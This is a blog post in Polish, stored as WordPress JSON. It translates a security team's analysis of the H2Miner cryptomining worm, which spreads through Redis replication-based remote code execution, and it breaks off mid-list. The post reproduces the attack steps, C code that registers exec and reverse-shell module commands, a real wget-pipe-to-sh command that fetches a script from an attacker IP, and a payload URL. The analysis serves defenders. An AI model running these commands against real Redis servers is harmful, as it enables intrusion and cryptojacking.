{"id":55714,"date":"2020-01-27T00:00:00","date_gmt":"2020-01-26T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce"},"modified":"2020-02-18T14:03:51","modified_gmt":"2020-02-18T11:03:51","slug":"obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pl\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","title":{"rendered":"Wykryto now\u0105 fal\u0119 robak\u00f3w H2Miner, kt\u00f3re wykorzystuj\u0105 Redis RCE.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Dzie\u0144 temu jeden z serwer\u00f3w mojego projektu zosta\u0142 zaatakowany przez podobnego robaka. Szukaj\u0105c odpowiedzi na pytanie \u201eco to by\u0142o?\u201d, natkn\u0105\u0142em si\u0119 na wspania\u0142y artyku\u0142 zespo\u0142u Alibaba Cloud Security. Poniewa\u017c nie znalaz\u0142em tego artyku\u0142u na Habrze, postanowi\u0142em go przet\u0142umaczy\u0107 specjalnie dla was <3\n<\/p><\/blockquote>\n

Wprowadzenie<\/h2>\n

\nNiedawno zesp\u00f3\u0142 bezpiecze\u0144stwa Alibaba Cloud odkry\u0142 nag\u0142y wzrost H2Miner. Ten typ z\u0142o\u015bliwego robaka wykorzystuje brak autoryzacji lub s\u0142abe has\u0142a do Redis jako bramy do twoich system\u00f3w, a nast\u0119pnie synchronizuje sw\u00f3j z\u0142o\u015bliwy modu\u0142 z slave za pomoc\u0105 synchronizacji master-slave i w ko\u0144cu wgrywa ten z\u0142o\u015bliwy modu\u0142 na zaatakowan\u0105 maszyn\u0119, wykonuj\u0105c z\u0142o\u015bliwe instrukcje.<\/p>\n

W przesz\u0142o\u015bci ataki na twoje systemy zazwyczaj by\u0142y przeprowadzane przy u\u017cyciu metody obejmuj\u0105cej zaplanowane zadania lub klucze SSH, kt\u00f3re by\u0142y zapisywane na twojej maszynie po zalogowaniu si\u0119 w\u0142amywacza do Redis. Na szcz\u0119\u015bcie ta metoda rzadko si\u0119 udaje z powodu problem\u00f3w z kontrol\u0105 uprawnie\u0144 lub r\u00f3\u017cnych wersji systemu. Niemniej jednak, ta metoda \u0142adowania z\u0142o\u015bliwego modu\u0142u mo\u017ce bezpo\u015brednio wykonywa\u0107 komendy atakuj\u0105cego lub uzyskiwa\u0107 dost\u0119p do pow\u0142oki, co jest niebezpieczne dla twojego systemu.<\/p>\n

Z powodu du\u017cej liczby serwer\u00f3w<\/a> Redis, kt\u00f3re s\u0105 hostowane w internecie (prawie 1 milion), zesp\u00f3\u0142 bezpiecze\u0144stwa Alibaba Cloud, przypominaj\u0105c przyja\u017anie, zaleca u\u017cytkownikom, aby nie udost\u0119pnia\u0107 dost\u0119pu do Redis z sieci oraz regularnie sprawdza\u0107 solidno\u015b\u0107 swoich hase\u0142, a tak\u017ce, czy nie s\u0105 one nara\u017cone na szybkie \u0142amanie.<\/p>\n

H2Miner<\/h2>\n

\nH2Miner to botnet do wydobywania danych dla system\u00f3w opartych na Linuksie, kt\u00f3ry mo\u017ce wnika\u0107 do twojego systemu na kilka sposob\u00f3w, w tym przez brak autoryzacji w Hadoop yarn, Docker oraz przez podatno\u015b\u0107 na zdalne wykonanie komend Redis (RCE). Botnet dzia\u0142a poprzez \u0142adowanie z\u0142o\u015bliwych skrypt\u00f3w i program\u00f3w do wydobywania twoich danych, poziome rozszerzenie ataku oraz utrzymywanie \u0142\u0105czno\u015bci dowodzenia i kontroli (C&C).
\n<\/a><\/noindex><\/p>\n

Redis RCE<\/h2>\n

\nPawel Toporkov podzieli\u0142 si\u0119 wiedz\u0105 na ten temat na ZeroNights 2018. Po wersji 4.0, Redis obs\u0142uguje funkcj\u0119 \u0142adowania zewn\u0119trznych modu\u0142\u00f3w, kt\u00f3ra pozwala u\u017cytkownikom \u0142adowa\u0107 pliki so, skompilowane w C, do Redis w celu wykonania okre\u015blonych komend Redis. Funkcja ta, chocia\u017c przydatna, zawiera luk\u0119, w kt\u00f3rej w trybie master-slave pliki mog\u0105 by\u0107 synchronizowane z slave za pomoc\u0105 pe\u0142nej synchronizacji. Mo\u017ce to by\u0107 wykorzystane przez atakuj\u0105cego do przesy\u0142ania z\u0142o\u015bliwych plik\u00f3w so. Po zako\u0144czeniu transferu, cyberprzest\u0119pcy \u0142aduj\u0105 modu\u0142 do zaatakowanej instancji Redis i wykonuj\u0105 dowoln\u0105 komend\u0119.<\/p>\n

Analiza z\u0142o\u015bliwego robaka<\/h2>\n

\nNiedawno zesp\u00f3\u0142 zabezpiecze\u0144 Alibaba Cloud odkry\u0142, \u017ce liczba z\u0142o\u015bliwych g\u00f3rnik\u00f3w H2Miner nagle wzros\u0142a. Zgodnie z analiz\u0105, og\u00f3lny proces powstawania ataku wygl\u0105da nast\u0119puj\u0105co:<\/p>\n

\"Wykryto
\n
\nH2Miner wykorzystuje RCE Redisa do pe\u0142nego ataku. Najpierw cyberprzest\u0119pcy atakuj\u0105 niezabezpieczone serwery Redis lub serwery z s\u0142abymi has\u0142ami.<\/p>\n

Nast\u0119pnie u\u017cywaj\u0105 komendy config set dbfilename red2.so<\/code> aby zmieni\u0107 nazw\u0119 pliku. Po tym atakuj\u0105cy wykonuj\u0105 komend\u0119 slaveof<\/code> aby ustawi\u0107 adres hosta replikacji master-slave. <\/p>\n

Gdy zaatakowana instancja Redis \u0142\u0105czy si\u0119 w trybie master-slave z z\u0142o\u015bliwym Redis, kt\u00f3ry nale\u017cy do atakuj\u0105cego, wysy\u0142a on zara\u017cony modu\u0142 za pomoc\u0105 komendy pe\u0142nej synchronizacji, aby zsynchronizowa\u0107 pliki. Nast\u0119pnie plik red2.so zostanie za\u0142adowany na zaatakowan\u0105 maszyn\u0119. Po tym cyberprzest\u0119pcy u\u017cywaj\u0105 modu\u0142u .\/red2.so, aby za\u0142adowa\u0107 ten plik so. Modu\u0142 mo\u017ce wykonywa\u0107 polecenia atakuj\u0105cego lub inicjowa\u0107 po\u0142\u0105czenie zwrotne (backdoor), aby uzyska\u0107 dost\u0119p do zaatakowanej maszyny.<\/p>\n

if (RedisModule_CreateCommand(ctx, \"system.exec\",\n        DoCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n      if (RedisModule_CreateCommand(ctx, \"system.rev\",\n        RevShellCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n<\/code><\/pre>\n
\nPo wykonaniu z\u0142o\u015bliwej komendy, takiej jak \/ bin \/ sh -c wget -q -O-http:\/\/195.3.146.118\/unk.sh | sh> \/ dev \/ null 2> & 1<\/code>, cyberprzest\u0119pca zresetuje nazw\u0119 pliku kopii zapasowej i wy\u0142adowa\u0142 systemowy modu\u0142, aby wyczy\u015bci\u0107 \u015blady. Niemniej jednak plik red2.so nadal pozostanie na zaatakowanej maszynie. U\u017cytkownicy s\u0105 zach\u0119cani do zwracania uwagi na obecno\u015b\u0107 takiego podejrzanego pliku w folderze ich instancji Redis.<\/p>\n
Opr\u00f3cz eliminacji niekt\u00f3rych z\u0142o\u015bliwych proces\u00f3w w celu kradzie\u017cy zasob\u00f3w, atakuj\u0105cy podj\u0105\u0142 z\u0142o\u015bliw\u0105 akcj\u0119, \u0142aduj\u0105c i uruchamiaj\u0105c z\u0142o\u015bliwe pliki w postaci binarnej, aby 142.44.191.122\/kinsing<\/a><\/noindex>. Oznacza to, \u017ce nazwa procesu lub katalogu zawieraj\u0105ca kinsing na ho\u015bcie mo\u017ce wskazywa\u0107, \u017ce ta maszyna zosta\u0142a zainfekowana tym wirusem.<\/p>\n
Zgodnie z wynikami analizy wstecznej z\u0142o\u015bliwe oprogramowanie g\u0142\u00f3wnie wykonuje nast\u0119puj\u0105ce funkcje:<\/p>\n